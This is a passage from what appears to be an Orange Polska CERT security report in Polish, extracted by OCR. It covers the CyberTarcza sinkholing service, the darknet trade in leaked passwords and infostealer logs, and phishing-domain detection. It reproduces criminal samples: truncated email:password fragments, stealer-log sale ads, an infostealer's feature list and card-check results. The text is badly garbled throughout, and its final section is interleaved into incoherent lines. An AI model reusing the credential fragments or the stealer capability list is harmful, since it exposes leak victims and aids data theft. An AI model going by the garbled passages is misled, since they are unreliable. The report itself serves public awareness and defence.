i te w wiekszosci byty blokowane po kilku minutach.

To wina Orange

Czy CyberTarcza moze uratowac pienigdze nasze

lub naszych bliskich? Najlepsza rekomendacja sa rady

jakie oszusci dawali Anecie, ktéra uparcie twierdzita,
ze linki nie dziataja:

Rozlgcz sie z siecig Orange, polgcz sie z
inng siecia internetows i odswiez strong

Mam tylko Orange 4,

@ .

40
L1240
Potrzebny inny(z)

Dlaczego? To moze ptatnosc gotdowka
albo przelewem? 12:52 S

zaptacitem w InPost . ..

To czyja to wina? Inpostu czy Orange?
12:56 W/

Orange .,

Piotr Zarzycki
Cyberbezpieczenstwo Orange Polska
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CyberTarcza - Fakty i Mity

Z roku na rok bezsprzecznie rosnie rozpoznawalnos$¢
CyberTarczy Orange. Jednak nie zawsze tak jak bym
tego oczekiwat. Sprébuje zmierzy¢ sie, a moze

tez rozprawi¢ z pewnymi ,faktami”, ktére przez ostatnie
lata rozpowszechnity sie wérdd internautow.

1. CyberTarcza chroni kazdego
uzytkownika sieci Orange

TAK

CyberTarcza to mechanizm sieciowy oparty na sinkholingu
domen (DNS Orange Polska) oraz sinkholingu BGP
(zmiana routingu do ztosliwych adreséw IP w sieci

Orange Polska, czyli miedzy innymi caty AS5617 - https://
bgp.he.net/AS5617). Dzieki pracy zespotu CERT Orange
Polska kazdego dnia sinkholujemy setki ztosliwych domen
oraz pojedynczych adresow IP, tak aby w mozliwie
najkrotszym czasie byty one niedostepne w naszej sieci
(czyli np. w momencie kiedy klikniesz link do fatszywej
bramki ptatnosci z SMS).

Ptatna CyberTarcza ma szereg dodatkowych
funkcjonalnosci. Na spersonalizowanym portalu,
mozesz samodzielnie skonfigurowac¢ blokade, na state
lub w konkretnych godzinach, wybranych kategorii stron
internetowych, a takze zdefiniowanych przez siebie
adreséw. Mozesz to zrobi¢ na kazdym, z maksymalnie
trzech urzadzen, definiujgc odrebne polityki. Dziata

to nieco podobnie do systemu typu Parental Control,
ale jest bardziej elastyczne. Blokuje wiele $wiatowych
zagrozen w oparciu o komercyjny produkt, zwiekszajgc
dywergencje ochrony. Wszystko uzupetnia system
powiadomien i miesiecznych raportéw. Wiecej mozesz
przeczytac¢ pod adresem https://www.orange.pl/poradnik/
uslugi-dodatkowe/co-to-jest-cybertarcza-orange/.

W oparciu o CyberTarcze dziatajg tez ptatne ustugi
skierowane dla biznesu, udostepniajace zbiorcze
raporty bezpieczenstwa (lista incydentow)

dla nieograniczenie duzej liczby ustug wykupionych
w Orange (np. state facze, dziesiatki facz IDSL

i/lub setki mobilnych dostepéw do internetu).

Podsumowanie

Liczba unikalnych klientéw — wszystkie zablokowane incydenty 4 874 395
Liczba unikalnych klientow — zablokowane incydenty phishingowe 4 537 072
Liczba wszystkich zablokowanych incydentéw 2424 912 894
Liczba zablokowanych incydentéw phishingowych 335 247 749

2. CyberTarcza jest bezptatna

TAK

Powyzej opisany mechanizm ochrony jest dostepny dla
kazdego klienta sieci Orange, bez wzgledu na typ ustugi.

3. CyberTarcza to ptatna ustuga
w sieci Orange

TAK

Kto$ powie ,Ale zaraz?”. Jak moze by¢ réwnoczesnie ptatna

i bezptatna?

Okazuje sie, ze pomimo zbieznosci nazw mamy do czynienia
Z nieco innym ,,produktem”. Mozna bowiem, na swoich
urzgdzeniach mobilnych i stacjonarnych aktywowac
»ustuge dodatkowg” w ramach CyberTarczy.
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4. CyberTarcze mozna wytaczy¢

Dodatkowo ptatna ustuge:

TAK

Bezptatna, natywna ochrone w sieci Orange:

Warto przy okazji wréci¢ do pierwszego faktu i przypomnieé
sobie w jaki sposdb zapewniamy Ci ochrone. Jakkolwiek
ochrony wytgczy¢ sie nie da, mozna jg skutecznie omija¢

- poprzez wykorzystanie innych serweréw DNS lub

potaczen VPN. Na pytanie, ,czy warto to robi¢?” polecam
odpowiedzie¢ sobie nie wczesniej niz po zapoznaniu sie

z pozostatg trescig Raportu. Warto tez zwrdci¢ uwage,

na pewien istotny fakt. Zawsze nasz ruch ostatecznie jest dla
kogo$ widoczny. Nie dajcie sie zwie$¢. Macie jedynie

liczby incydentow (tys.) w miesigcu w roku 2021

do wyboru komu bardziej ufacie... swojemu
operatorowi, gigantowi z Doliny Krzemowej,
dostawcy VPN, czy innemu obcemu wywiadowi ;)

Dodanie niebezpiecznej strony do biatej listy
(wyjatkdw) w portalu “ptatnej CyberTarczy”

nie odblokuje ruchu do niej, poniewaz ochrona
~bezptatnej CyberTarczy” ma priorytet.

Mozna natomiast wytgczy¢ proaktywne
powiadomienia. Jak to dziata? W przypadku

stron phishingowych, ktére w swojej naturze
wymagaja Twojej interakcji powiadamiamy Cie
natychmiast o zaistniatym incydencie. W przypadku
ztosliwego oprogramowania, ktore dziata w ukryciu,
blokujemy mu dostep do np. serweréw C2

i odnotowujemy, ze byt taki incydent. Jesli to,
wedtug nas incydent, o ktérym powinienes wiedziec¢
jak najszybciej, to powiadamiamy Cie proaktywnie,
w zaleznosci od ustugi wysytajac SMS, maila

lub przenoszac Twéj dostep swiattowodowy

w strefe kwarantanny. Jesli to mniej istotny incydent
mozesz sam zajrze¢ na odpowiednia zaktadke

w aplikacji Méj Orange, albo na naszg strone
https://cert.orange.pl/cybertarcza. Proaktywne
powiadomienia, ktére moga by¢ upierdliwe dla
~recydywistow” lub ,badaczy”, mozna wytgczy¢

na tej samej stronie lub na naszej infolinii.

Blokady miesiecznie (zdarzenia)
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5. Orange blokuje mi internet

Cho¢ bardzo staramy sie, zebyscie w ten sposéb

o blokowaniu ztodliwych stron w internecie nie mysleli

- takie gtosy sie pojawiajg. Po pierwsze, robimy wszystko
aby nie zablokowa¢ dostepu do zadnej zawartosci
niezwigzanej z zagrozeniami. Po drugie, poza naszg pracag

w wykrywaniu ztosliwych tresci, realizujemy réwniez blokady
zgodnie z Rejestrem Domen Stuzgcych do Oferowania Gier
Hazardowych Niezgodnie z Ustawa (https://hazard.mf.gov.pl),
listg ostrzezen przed niebezpiecznymi stronami z Cert Polska
(https://cert.pl/posts/2020/03/ostrzezenia phishing/)

czy chocby liste stron dezinformacyjnych zwigzanych z wojng
na Ukrainie. Po trzecie, zawsze masz wybodr o ktérym wyze;j.

6. Dzieki CyberTarczy, Orange monitoruje
odwiedzane przez Ciebie strony

To nie dziata w ten sposdb, ze obserwujemy Twdj ruch sieciowy
i po wykryciu czego$ ztosliwego zostanie on zablokowany.
Konfiguracja CyberTarczy jest zasilana ztosliwymi domenami

i adresami IP by w momencie kiedy urzadzenie w Twojej sieci
sprobuje nawigzaé z nimi potgczenie trafito na specjalny
serwer - sinkhole. To jedyna informacja jaka do nas trafia.
Odbywa sie to réwniez w pemi automatycznie bez naszego
udziatu, a powigzanie zdarzenia z uzytkownikiem stuzy jedynie
do tego, aby wyswietli¢ Ci informacje o wtasciwym zagrozeniu
oraz sposobie jego usuniecia.
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Wrzesien
Pazdziernik
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7. CyberTarcza to antywirus

CyberTarcza nie byta, nie jest i nigdy nie bedzie antywirusem.
Gdyby jednak bardzo silnie szuka¢ analogii mozna pokusi¢
sie o stwierdzenie, ze posiada cechy silnikéw reputacyjnych
implementowanych w rozwiagzaniach AV w konteks$cie wiedzy
o ztosliwosci domeny badz adresu IP. Moze ochroni¢ przed
komunikacja ztosliwego oprogramowania na Twoim kom-
puterze (zablokuje wystanie danych na serwer przestepcow),
ale w zaden sposéb go fizycznie nie zneutralizuje.

W szczegdlnosci, gdy np. potgczysz sie poza siecig Orange,
czy skorzystasz z VPN, dane te zostang wykradzione.

TOP Malware - wykres

Glupteba
33%

Necurs
21%

8. CyberTarcza nie dziata, wyswietla
zagrozenie ktérego nie ma

Rejestrujgc zdarzenie w CyberTarczy nie wiemy doktadnie
jakie urzadzenie bedace w Twojej sieci je wywotato. W
szczegolnosci gdy mowa o ustugach stacjonarnych gdzie do
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Glupteba
Necurs
Andraomeda
Raccoon
Flubot
Pykspa
Ursnif
Cerberus
Nymaim
Fabookie
Pitou
Coalabot
Conficker
Mylobot
Qsnatch
Wasatac

Raccoon
20%

Flubot Ursnif
5% 3%

Nymaim Pitou
2% 1%
e [

Wi-Fi bywa podtgczonych kilkanascie urzadzen.

Szybki internet LTE rowniez jest juz bardzo szeroko
wykorzystywany jako mobilny hotspot i udostepniany

dla np. laptopa.Staramy sie dawac coraz wiecej informaciji

w celu identyfikacji urzadzenia (np. User-Agent),

ale czesto jest to niemozliwe. Czynnikdw, ktdére moga
powodowaé trudnos¢ w identyfikacji jest wiecej.

Moze sie zdarzy¢, ze serwer C2 jest wykorzystywany
przez wiecej niz jeden rodzaj malware i informacja

na stronie CyberTarczy (https://cert.orange.pl/cybertarcza)
nie jest w 100% adekwatna. Wreszcie, posréd dziesigtek
milionéw zdarzen, jakie rejestrujemy bywajag tez takie,
ktore rzeczywiscie klasyfikujemy btednie (tzw. ,false
positive”), ale tych jest naprawde niewiele i nie
przekreslaja skutecznosci catego rozwigzania.
Wychodzimy z zatozenia, ze lepiej kilka razy sie pomyli¢
niz pozwoli¢ kogos okrasé. 24 godziny na dobe,

7 dni w tygodniu, kto$ czuwa przy mailu CERT OPL,

by naprawi¢ zgtoszony btad.

Liczba incydentow phishingowych
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9. CyberTarcza przeprowadza ataki MITM

Kazda zablokowana domena czy adres IP trafia na serwer
sinkhole (sh.cert.orange.pl), a w przypadku phishingu
przekierowywana jest dalej na serwer informacyjny
(alert.cert.orange.pl). Jako, ze wiekszo$¢ ruchu, w obecnych
czasach, to ruch HTTPS, mieliSmy dwie opcje do wyboru.
Odrzucac to potaczenie albo akceptowaé z wtasnym
certyfikatem. W pierwszym wypadku przegladarka dtugo
czeka na odpowiedzZ, a potem daje objawy kojarzone jako
sproblem z Internetem”. Drugi wariant daje ostrzezenie

o ,ztym certyfikacie”, problemie z mechanizmem HSTS

albo o ,ataku MITM”. Wybrali$my drugi scenariusz.

Nie da sie tego zrobi¢ lepiej. Nie probujemy udawac innego
adresu. Certyfikat jest wystawiony na nasza domene.

Jesli ktos zaakceptuje nasz certyfikat dostanie komunikat

o problemie, a dodatkowo wykorzystujemy tg okazje

do poinformowania o tym, aby nie akceptowac certyfikatow
niezgodnych z adresem strony do ktérej prébowaliscie

sie potgczy¢. Budowanie swiadomosci uzytkownikow jest
dla nas priorytetem, bo to najlepiej poprawia bezpieczenstwo.

Robert Grabowski
Stawek Krawczyk
Cyberbezpieczenstwo Orange Polska

140 021

66 461

18 767
10 256
| 7 045
14 449
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Jeszcze kilka lat temu, kiedy wszyscy prowadzili
dyskusje, czy adres mailowy jest dang osobowg

czy nie, Swiat cyberprzestepczosci rést w site.

W momencie, gdy hordy prawnikéw analizowaty
wprowadzong dyrektywe unijng, rzesza bezpiecznikdw
przygotowywata sie do objecia nowego stanowiska
jakim jest Inspektor Danych Osobowych, handel
naszymi danymi rozrastat sie do granic mozliwosci.

Handlu, o ktérym mowa ponizej, nie nalezy rzecz jasna
postrzegac¢ jako legalnej sprzedazy naszych danych
osobowych, pozyskanych dla celéw marketingowych.
Cyberprzestepcy zaczeli by¢ coraz bardziej zachtanni,
pojawity sie w koncu dla nich dodatkowe punkty, na ktérych
moga sie wzbogaci¢. Przedsiebiorstwa straszone
wielomilionowymi karami w razie wycieku danych, coraz
czesciej zastanawiajg sie nad zaptatg przestepcom okupu,
aby wykradzione dane nie zostaty upublicznione.
Negocjacje z przestepcami najczesciej wygladajg jednak
tak, ze po zaptacie, albo nie otrzymujemy w zamian nic,
albo dane sa i tak upubliczniane, badz sprzedawane dalej
na czarnym rynku. Jednym z celéw negocjaciji jest czesto
mozliwo$¢ poznania i dowiedzenia sie czym dysponujg
przestepcy. Ktéredy mogli wej$¢é do naszych systemow,
do jakich systeméw posiadali dostep. Ceny za okup czesto
sg wowczas zbijane z kolosalnych kwot, o ktérych
mozemy przeczyta¢ w nagtéwkach portali informacyjnych,
do procenta tej wartosci. Czy dyrektywa, ktéra zostata
wprowadzone byfa stusznym rozwigzaniem? Wiele oséb
odpowie i tak, i nie. Jak kazdy dokument prawny ma ona
swoje zawitosci, niescistosci, moze by¢ interpretowana

w zaleznosci od celu. Dzieki RODO jednak wiele
przedsiebiorstw zostato zobligowanych do przemyslenia
swoich rozwigzan bezpieczenstwa. Wyznaczono
konkretnych ludzi, badz cate zespoty, odpowiedzialne

za infrastrukture krytyczng. Jak zawsze przy wprowadzaniu
tego typu regulacji pojawia sie jednak wiele niescistosci.
Czy mata ksiegowos$¢, prowadzona przez jedng osobe,
musi wyznacza¢ Administratora Danych? Co, jesl
prowadzac dziatalno$¢é gospodarczg, pomyle

sie i wysle fakture niewtasciwej osobie? Co z karami?

Czy przedsiebiorstwo, ktéremu zlecam mailing do swoich
klientow jest na pewno prawidtowo zabezpieczone?

Trzeba jednak pamietaé, ze kazde prawo majgce na celu
ochrone nas i naszych danych (czy to maila, daty/miejsca
urodzenia, imion rodzicdw, czy nazwiska panienskiego
matki) jest z zatozenia stuszne! Zupetnie innym zagadnieniem
jest to, w jaki sposdb zostaje wprowadzone, jakie luki
zawiera. Jeszcze niedawno nie istniato w Polsce prawo
ochrony dobr wiasnosci intelektualnej. Na kazdym rynku
czy bazarze, rést w site handel chatupniczo kopiowanym
oprogramowaniem, grami, muzyka, filmami. Miedzy innymi
dlatego takie korporacje jak Sony, Nintendo unikaty
wprowadzania swojego sprzetu na nasz rynek.

Odpowiednimi regulacjami prawnymi udato sie oczysci¢,

badz tez zmniejszy¢ skale tego procederu. Z unijng
dyrektywa o ochronie danych osobowych jest jednak zgota
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inaczej. Nie miata ona na celu zniwelowanie jakiegos
procederu, ale miata powiedzie¢ wprost - nasze dane,
oraz to co sie z nim dzieje, powinny by¢ tak samo wazne
dla nas, jak i dla oséb, ktore je posiadaja.

tochowa@interia.p
@interia.pl:damia
a@poczta.onet.pl:
63@interia.pl:cal
5c_2017@onet.pl:P
cka@interia.pl:bi
zak@interia.pl:Pu
i@interia.pl:3PAS
o@interia.pl:reit
nteria.pl:Dolar33
evsm@onet.pl:kisi
gl@o2.pl:caughtin
7@interia.pl:Dawi
ek@interia.pl:Gos
eB9@interia.eu:pa
interia.pl:naszak

Na handel naszymi danymi mozemy spogladaé¢ w dwojaki
sposoéb. Pierwszym elementem jest sprzedaz naszych
danych w legalny sposob, zgodnie z wigzagcymi umowami.
Miejmy nadzieje w bezpieczny sposéb, zgodnie z wiedzg
0s0b, ktérych dane te dotyczg. Drugim elementem

jest handel, o ktérym wiele oséb nie ma pojecia

i odbywa on sie czesto miedzy anonimowymi
~kontrahentami”, cho¢by za pomocg darknetu.

Czy ciezko jest natrafi¢ na takie dane jak Twoj login

i hasto do Twojego ulubionego portalu z filmami? Aplikacji,
w ktérej codziennie odtwarzasz swoje ulubione piosenki?
Jak skomplikowane jest pozyskanie Twojego adresu
mailowego lub loginu wraz z hastem? Niestety wciaz zbyt
tatwe. Jako jednostka CERT obserwujemy okoto 500
tysiecy rekordoéw dziennie (w tym logindw, adresow
mailowych oraz haset) z samych polskich domen.
Doktadajgc do tego konta Gmail, gdzie czesto jednoznacznie
nie mozna na pierwszy rzut oka oceni¢ kraju pochodzenia,
dochodzi do tego Srednio 3 do 9 min rekordéw kazdego dnia.
Z jednej strony to duze liczby, z drugiej jednak — wcigz
kropla w morzu. lle z tych haset pasuje réwniez do Twojej
skrzynki mailowej? Czy znajac Twoje hasto do ulubionego
forum, mam réwniez dostep do Twojej catej prywatnej poczty?

To w wielu przypadkach zalezy tylko i wytacznie od Ciebie.
Czy hasta do Twoich ustug, przynajmniej kluczowych, r6zniag
sie? Skad bedziesz wiedzie¢, ze Twoje hasto wyciekto?
Oczywiscie, sg serwisy, ktére moga Cie o tym informowac.
Pozostaje pytanie, ile procent z wielkiej puli wyciekdw

sa w stanie przetworzy¢ oraz do jakiej czesci uzytkownikow
sg w stanie sie dostac.

Wielkie wycieki danych sg odpowiednio nagtasniane.

By¢ moze przypomnisz sobie Twoje konto na danym
portalu, by¢ moze otrzymasz wiadomosc¢ na skrzynke
mailowa z informacja o wycieku oraz prosba o zmiane
hasta. Czasem jednak otrzymasz jg na adres mailowy,

z ktérego juz nie korzystasz. Czy wtedy kazdy bedzie mogt
mie¢ dostep do catej Twojej korespondenciji? Niestety tak.
Co na to operatorzy skrzynek pocztowych? Predzej czy

pdzniej dostep do niej bedzie zablokowany, ale co z tymi
kilkuset osobami, ktére juz pobraty Twoje wiadomosci,
zdjecia, skany dowodu osobistego, dane z ubezpieczenia
mieszkania, samochodu?

Uwaza sie, ze na rynku istnieje kilkadziesigt duzych grup
przestepczych specjalizujgcych sie w obrocie hastami.
Czes¢ z nich prowadzi sprzedaz danych na réznego rodzaju
forach internetowych, szyfrowanych komunikatorach, w
zanonimizowanych sieciach. Wiekszo$¢ ptatnosci mozna
zrealizowa¢ za pomoca kryptowalut. Modele biznesowe
grup przestepczych nie réznig sie niczym od modeli legalnie
dziatajgcych przedsiebiorstw. Codziennoscig sa sprzedaze
paczek logindw i haset posegregowanych w zaleznosci od
kraju pochodzenia, lokalizacji, miejsca wycieku, tematyki.
Hasta z portali randkowych, ustug muzycznych, serwiséw
spotecznosciowych. Cate bazy danych, same adresy
mailowe z hastami. Kupi¢ mozna jedng konkretng paczke,
poszczegdlng ilos¢ rekordow z danej paczki, czy tez
zapisac sie do subskrypcji. Za okreslong kwote uzyskuje
sie wéwczas dostep do catej zgromadzonej bazy danych,
przez miesiac, rok, konkretng ilos¢ dni. Tak samo jak w
realnym zyciu istnieje marketing w grupach przestepczych.
Sa wyprzedaze ,towaru”, ktéry lezy na zbyciu, sprzedaz
hurtowa, promocje na Black Friday, $wigteczne okazje.

New Stock 10.5k PL ™ for sale ¥
MailAccess Fresh Private today @

1k price 25%$ onehand one person 6
10.k price 260$ onehand one person

7

A co jesli chcielibysmy kupi¢ troche wiecej informaciji

niz login i hasto? Informacje bardziej spersonalizowane,
dotyczace konkretnej osoby? Dodatkowo screeny z pulpitu,
dane do logowania do banku, portfel z kryptowaluta, historie
z przegladarki, pliki cookies. Rynek cyberprzestepczy
mowi: ,Klient nasz pan!”. Wystarczy chwila nieuwagi,
zamyslenia, czasem cwaniactwa, gdy w chwili stabosci
poszukamy cracka legalizujgcego aplikacje lub gre, zamiast
kupowac je z legalnego zrédta.

Wtedy przez przypadek mozemy sie natkng¢ na plik
zainfekowany malwarem. W ciggu kilku sekund po
uruchomieniu aplikacji, wszystkie pliki tekstowe, ktore
posiadamy na pulpicie, w folderze ,,Moje dokumenty”,

sg przesytane na serwer przestepcéw. A razem z nimi
portfel bitcoinowy, ciasteczka ze wszystkich przegladarek,
wszystkie zapamietane przez przegladarke hasta z loginami,
zrzuty ekranu, petne dane z naszego komputera, informacje
o zainstalowanym na komputerze oprogramowaniu...

Wszystko to mozna kupi¢ w takich samych modelach
handlu jak przy zwyktych hastach! Czasem wystarczy
kilkaset dolaréw, zeby wykupi¢ miesieczny abonament
dostepu do takich informacji. Skala? Darmowe prébki
dla nieprzekonanych zawieraja po 10, czasem po 20 GB
danych. Kilkaset tysiecy folderéw, posegregowanych

wg kraju pochodzenia. Czy to duzo? Nie w skali jaka
dysponujg cyberprzestepcy. Na tyle mato, ze potrafig
udostepni¢ te dane bez zalu, za darmo osobom
zainteresowanym.

3,000,000 Logs 250% 1 month Cloud Access

DEC 2021 - 134k logs
JAN 2022 - 40k logs

Total 2020-2022
3,000,000+ Logs over 7TB

. ¥ Update Cloud - 15 January 2022
® 670GB 4
& 508% for a month
& 200 $ for Lifetime

Contact:

. & Update Cloud - 8 January 2022

® 655GB 4
& 50% for a month
& 200 $ for Lifetime

Contact:
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= Google Thumacz
FaTost [ Dokumenty
WYKRVTO-ROSYISKI  ANGIELSKI  POLSKI  NEMIECKI

Xouy NPEACTABUTS BaM CTUANEP, SaTONeHHbIF 1104 YA0GHYIO padoTy
€ noramu. Cobupaer

117 PAGOTHI 10 BCeM HanpasneHaM, MpOrpaMIva HCanach ¢
YHETOM BCEX NOXENaHH# NOASH NPODECCHONANLHO
SaHMMaOUAMACA B Chepe KapAMHTa

BOIMOXHOCTH 6unAa

@ Cospaer w3 Gpaysepos:
= Tloruw u naponu

= Kykn

= MonA asTosanonHenus

— KpepuThbie KapTsi

B Nonaepwusaembie 6payseps!

— Bce Gpaysepel Ha Gase Chromium ( [laxe Chrome nocnepwedt
sepcim)

= Boe 6paysepbi wa Gase Gecko ( Mozilla u s, )

[EJ C60p paibix U3 FTP-KIMEHTOR, IMFKHEHTOR

(&3 Hacrpansaembii hain rpadéep no kpuTepHaM MyTs,
Pactunpenme, MOUCK B MOANANKAX ( MOKHO HACTPOMTS Ha HyKHbIe
X0NGAHBIE KOWENBKM, CTUM W NpOkee )

B Bui60pKa no cTpanam. HacTpoiika YepHOro cnucka CTpan, rae
64ng He Gyer paGoTaTh

@ Hacrpoiika auTi-ay6nukara noros & naxenn

[l Cobupaer Uk (hopMaLmio © CUCTeMe XepTBbI
=P

—Crpara

—fopon

= it Texyuiero nonb3osatens

—HWID

= PacknaaKy KnasHaTypbl

— CKPUHIIOT 3KpaKa

—Paspeuenne akpana

= Onepauvionas cuctema

= Hactpoitku UAC

— 3anyweH N TeKyWH GUAR C NPABAMH ARMHHMCTPATOPa
—User-Agent

& POLSKI  ANGELSK  NIEMIECKI v

W i do j z b4
lagami. Zbiera najbardziej pozadane informacie do pracy we

wszystkich Kierunkach. Program zostal napisany  uwzglednieniem
wszystkich zyczen oséb zawodowo

Funkcje kompilacji

0 Zbiera z przegladarek
— Login i hasta
—Ciasteczka

= Autouzupelnianie pol
— Karty kredytowe

2) Obslugiwane przegladarki:

= Wszystkie przegladarki oparte na Chromium (nawet najnowsza
wersja Chrome)

— Wszystkie przegladarki oparte na Gecko (Mozilla itp.)

& Zbieranie danych od klientow FTP, kiientow IM
& Konfigurowalny plik grabbera zgodnie z kryteriami Sciezka,

dla zgdanych zimnych portfeli,pary itp.)

& Prébka wedlug kraju. Utworzenie czamej listy krajéw, w kidrych
kompilacja nie bedzie dziatac:

a dziennikow W panelu

[ Zbiera informacie o systemie ofiary:
-P

—Krgj

= Miasto

— Aktualna nazwa uzytkownika
—HWID

—Uklady klawiatury

—Zrzut ekranu

= Rozdzielczos¢ ekranu

—System operacyjny

= Ustawienia UAC

—Czybiezaca kompilacja driala z
—Agent uzytkownika

—Informacje o komponentach PC (karty graficzne, procesory)

o K ( L )

= YCTaHOBeHHblE BHTMBUDYCHI

o B % <

Co ciekawe, mozemy sie tu spotkac sie z dodatkowg
opcja sprzedazy - zamowié¢ wg cennika wiasne
oprogramowanie malware z serwerem, panelem
administracyjnym, plikami stuzgcymi do ataku

o Scisle sprecyzowanych zadaniach. Decydujac

sie na zakup mozemy oczywiscie liczy¢ na wsparcie
w trybie 24/7, a nawet kontakt z producentami
malware’u.

Ostatnio duzg popularnoscig wsréd przestepcow
ciesza sie dane kart ptatniczych. Ten proceder

jest bardzo $cisle powigzany z innymi modelami
atakdéw na portale, ktére dysponujg mozliwoscig
podpiecia kart bankomatowych lub kredytowych,

jak réwniez samym malwarem, pozyskujacym dane
z naszych komputeréw oraz telefonéw. Czes$¢

Z nich nie posiada numeréw CCV lub CVC, czesé

ma jedynie jedna z trzech liczb. Dostepne generatory
sg w stanie wypracowac pozostate cyfry.

Nasi rodzimi operatorzy posiadajg w swoich
zabezpieczeniach podwadjna autoryzacje przez telefon
lub w aplikacji mobilnej, jednak w sieci istnieja sklepy
umozliwiajgce zakupy bez dodatkowej autoryzaciji

ze strony banku. Woéwczas o ruchach przestepcéw
dowiadujemy sie dopiero po przejrzeniu wyciagu,
gdy wyczyszczg nam konto lub — oby tak sie dziato,
jesli padniemy ofiarg — mechanizmy antyfraudowe
banku wywotujg reakcje odpowiedniego zespotu,

a ten informuje nas o probach transakcji nasza kartg
w egzotycznym kraju.
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107|2024|301 - Approved - Receipt
107]2024|301 - insufficient_funds - Your card has insufficient funds.
|110]2023|825 - insufficient_funds - Your card has insufficient funds.
108|2022|971 - insufficient_funds - Your card has insufficient funds
[12]2024|290 - insufficient_funds - Your card has insufficient funds.
103/2026/209 - Approved - Receipt
103|2025|701 - Approved - Receipt
107|12026|327 - insufficient_funds - Your card has insufficient funds.
|06]2023]110 - insufficient_funds - Your card has insufficient funds.
102]2028|557 - Approved - Receipt

|03]2023|478 - insufficient_funds - Your card has insufficient funds.

[02|2028[122 - Approved - Receipt

|04|2028|390 - Approved - Receipt
102/2025]265 - Approved - Receipt

103]2024|311 - insufficient_funds - Your card has insufficient funds.

Na co jeszcze mozemy natrafi¢ przeczesujac te ciemniejsza
strone internetu? Skan Twojego dowodu osobistego?
Podglad pod monitoring w Twoim mieszkaniu?

https://github.com/

Nowoczesna technologia, ogrom ilosci platform
spotecznosciowych, miejsc w ktérych robimy

zakupy wymaga od nas szczegdlnej uwagi, na to,

co i komu powierzamy. Powoli koriczg sie czasy,

gdy nad tym panowali$my. Prywatno$é? Tajemnice?
Obecnie to s3 juz tylko puste stowa. Dlatego tym bardziej
trzeba skupi¢ sie na dbatosci o nasze kluczowe cyfrowe
zasoby. Unika¢ phishingéw? To frazes, poza tym

o tym mozna przeczyta¢ w wielu miejscach tego raportu.
To troche jak ze ztodziejem samochodowym — jesli

ma zlecenie na jakies$ auto, to zapewne je ukradnie,

ale jesli bierze ,pierwsze z brzegu”, mozna mu odebrac
ochote do przejazdzki. Jak zrobi¢ to w sieci? Nie trzeba
duzo. Uwazajmy, gdzie wpisujemy numer karty ptatniczej.
W kluczowych serwisach uzywajmy dedykowanych,
trudnych haset. W takich miejscach, wszedzie gdzie

sie da uzywajmy uwierzytelniania dwusktadnikowego.

I nie bagatelizujmy informacji o tym, ze co$ dzieje

sie z naszymi hastami w kluczowych serwisach.

Przy jakimkolwiek podejrzeniu — natychmiast

je zmieniajmy.

Marek Olszewski
Cyberbezpieczenstwo Orange Polska
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¥ Przvkiad Jak widac istniejg adresy IP, ktdre sg szczegdlnie oblegane.

Czy maszyn_y moga {OWIC " y Jednak wcale nie jest reguta to, ze jesli na danym IP byt
Al w poszu kiwaniu Obejrzyjmy to co dotychczas udato sig ztowi¢. Skupimy sie phishing, pojawi sie tam kolejna domena phishingowa. Rownie
phishingowych domen na danych z jednego miesiaca 2021 roku — wrze$nia, dobrze moze by¢ tam tysiac legalnych stron. Warto dodac,

w ktérym zbidr byt najbogatszy ze liczba unikalnych IPv4 w analizowany zbiorze to az 1689.
ﬁg:&?ﬁg?]Vi\;ajr:;dzzrg:;gri‘zérzzgﬁypﬂzt;: dl\/lli?gg?jry Cecha pochodng adresu IP, dostepna niewielkim kosztem W wielu przypadkach nie da sie jednak nawet zrobic¢
zwykle koriczy sie na stwierdzeniu, ze dany sposdb jest albo flf:eég\\l/\./ RTZgzciai‘?SVOd domen phishnigowych w badanym chmury. SliOW. be; dodatkong obrobeki, bOV\lnem s%oyva
technicznie niemal niewykonalny (fizyczne pobranie milionéw 18k voa ' zyvyczajnle sig nie pov,vtarzajq. Domeny, ktore’r02W|azywaiy
stron dziennie oraz analiza ich zawarto$ci - mozliwe dla 16K sig na adresy IP z dwoch przyktadowych AS-6w:
ruchu przychodzacego do firmy, nie na poziomie krajowych 14K
serweréw DNS), lub jest to czysto akademickie podejscie na 19K
zbalansowanym, oznaczonym i skonczonym zbiorze danych. oK 42745 398101
Tymczasem rzeczywistos¢ jest duzo bardziej skomplikowana. o : 2’;:30 1225524 ngooyz desratonionline
Naszymi przeciwnikami sg ludzie bardzo zdeterminowani 6K ’ 0 WQOoO0.XyzZ antonprestol.online
w kierunku osiagniecia celéw, o nieograniczonej inwencii. 4K 4,53% 22612 - ;
Kazda nowa domena phishingowa rézni sie mniej lub bardziej 2k M 6,69% 16509 rgoo.xyz nikrastere.onfine
od poprzedniej znanej, do tego zbidr uczacy nigdy nie jest 0K o €Cgo0.Xyz lopesrodero.online
w 109% prawidtowo oz,naczony i nieustannie sie zmienia. c > o € F 9 9 = = x W = L 7;39 %o 200000 NNgo.xyz diklesropty.online
Ponizej przyktad podej$cia, stosowanego w przypadku g 35 &8 & = -% e 2 2 c g 2 10,39% 209272 -
CyberTarczy, ktére sprawdza sie znakomicie. Kiedy pisze ten > g ¢ § - o g ﬁ 2 3 B 29.10% 198610 ©000go.xyz dokalertkola.online
artykut, liczba zablokowanych domen zbliza sie do poziomu @ x (6] @ =z N g 06 ’ o togoo.xyz dedertes.online
150 tysigcy rocznie. - u 35’00 % Inne pP00go.Xyz deukraber.online
Skala ) g00s00.in dokortes.online

Mamy do analizy ponad 17 tys. domen. Sprébujmy je
Liczba domen do przetworzenia jest... duza. automatycznie podzieli¢ na klastry o podobnych cechach, o _ , o
Spojrzmy na dane z przyktadowych 7 dni i unikalne najlepiej na podstawie fatwo dostepnych cech. Jezeli klas- Gdy przyjrzyjmy sie subdomenom stron, ktore rozwigzuia sig na
domeny z dwéch najwiekszych 2rédet: trowanie sie powiedzie mozemy zaktadag, ze klasyfikacja IP z popularniejszego AS-a, wyfania sig dosyc oczywisty obraz:

phishing/not phishing na podstawie podobnych cech réwniez
- stream certyfikatéw — 40 min, powinna sie uda¢. Dla uproszczenia odetnijmy jeszcze prefix
— serwery DNS - 20 min (prébka), ‘www’. Zostanie okoto 9300 domen.
- zweryfikowane i zablokowane domeny

z tego samego okresu: 3500-4500. Cechy

Szansa na znalezienie domeny phishingowej wynosi zatem Popatrzmy na najtatwiej dostepne informacje infrastruktu- )
okoto 1:15000. To duzo, jesli to my mamy ja znalezé, jednak raine. W przypadku serwera DNS bedzie to adres IP, na ktory
mato, jesli miatby na nig trafié¢ internauta. Podejécie regex- domena sig rozwigzywata. Ponizej najpopularniejsze IP:

Jesli spojrzymy na czesciowe dane z Whois:
powe sprawdzi sie tylko w bardzo ograniczonym zakresie. polrzymy ¢

Dazymy do petnej automatyki procesu, nie chcemy brac
